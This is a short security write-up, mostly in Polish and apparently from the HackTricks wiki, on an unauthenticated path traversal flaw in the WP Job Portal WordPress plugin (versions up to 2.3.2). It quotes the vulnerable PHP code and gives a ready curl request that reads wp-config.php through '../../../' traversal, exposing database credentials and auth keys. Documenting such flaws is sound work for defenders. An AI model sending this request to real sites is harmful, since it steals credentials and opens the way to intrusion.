Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Inne zadanie, downloadcustomfile, pozwalało odwiedzającym na pobranie dowolnego pliku z dysku przez path traversal. Wrażliwy sink znajduje się w modules/customfield/model.php::downloadCustomUploadedFile():

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name jest kontrolowany przez atakującego i konkatenowany bez sanityzacji. Ponownie, jedyną blokadą jest CSRF nonce, który można pobrać ze strony resume.

Eksploatacja

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Serwer zwraca zawartość wp-config.php, leaking DB credentials and auth keys.

Odnośniki

{{#include ../../banners/hacktricks-training.md}}